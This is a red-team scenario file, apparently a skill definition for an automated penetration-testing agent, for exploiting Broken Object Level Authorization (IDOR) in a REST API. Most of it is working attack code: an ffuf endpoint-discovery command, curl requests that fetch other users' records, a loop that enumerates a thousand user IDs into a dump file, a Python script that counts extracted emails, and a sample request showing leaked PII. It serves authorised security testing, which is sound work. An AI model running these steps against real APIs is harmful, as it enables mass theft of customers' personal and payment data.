---
name: rt-scenario-a001
description: "Scenario A001 — API: Broken Object Level Authorization (BOLA/IDOR) leading to full customer data dump. Chain: endpoint discovery → IDOR → mass enumeration → PII exfiltration."
---

# Scenario A001: BOLA → Full Customer Data Dump

**Domain**: API Security
**Severity**: Critical
**CVSS**: 9.1
**OWASP API Top 10**: API1:2023 — Broken Object Level Authorization

---

## Scenario Summary

REST API returns user data by ID without verifying the requesting user owns that ID.
Attacker enumerates sequential IDs to dump entire customer database.

## Attack Chain

```
1. Recon → discover /api/v1/users/{id} endpoint
2. Auth → obtain low-privilege JWT token (free account)
3. IDOR → access /api/v1/users/2 while authenticated as user 1
4. Enumerate → iterate IDs 1-999999
5. Exfiltrate → dump name, email, phone, address, payment method
```

## Exploitation Steps

```bash
# Step 1: Discover endpoint pattern
docker exec rtexit-kali bash -c "
ffuf -u 'https://{target}/api/v1/FUZZ' \
  -w /opt/SecLists/Discovery/Web-Content/api/objects.txt \
  -H 'Authorization: Bearer {low_priv_token}' \
  -mc 200,400,403"

# Step 2: Test IDOR
docker exec rtexit-kali bash -c "
# My user ID: 100
curl -sk 'https://{target}/api/v1/users/100' \
  -H 'Authorization: Bearer {my_token}'  # → my data ✓

curl -sk 'https://{target}/api/v1/users/101' \
  -H 'Authorization: Bearer {my_token}'  # → other user's data? IDOR!
"

# Step 3: Mass enumeration
docker exec rtexit-kali bash -c "
for id in \$(seq 1 1000); do
  curl -sk \"https://{target}/api/v1/users/\$id\" \
    -H 'Authorization: Bearer {token}' \
    >> /workspace/findings/idor-dump.json
  echo '' >> /workspace/findings/idor-dump.json
done"
```

## Impact Demonstration

```bash
# Extract PII from dump
docker exec rtexit-kali bash -c "
python3 << 'EOF'
import json

users = []
with open('/workspace/findings/idor-dump.json') as f:
    for line in f:
        try: users.append(json.loads(line.strip()))
        except: pass

pii_count = sum(1 for u in users if u.get('email'))
print(f'Total users accessed: {len(users)}')
print(f'Emails extracted: {pii_count}')
print(f'Sample: {users[0]}')
EOF"
```

## PoC

```
GET /api/v1/users/2 HTTP/1.1
Authorization: Bearer {attacker_token}  ← token for user ID 1

HTTP/1.1 200 OK
{
  "id": 2,
  "name": "Jane Smith",
  "email": "jane@example.com",
  "phone": "+1-555-0123",
  "payment_last4": "4242"
}
```

## Skills Used

→ `rt-exploit-idor` → `rt-exploit-api`
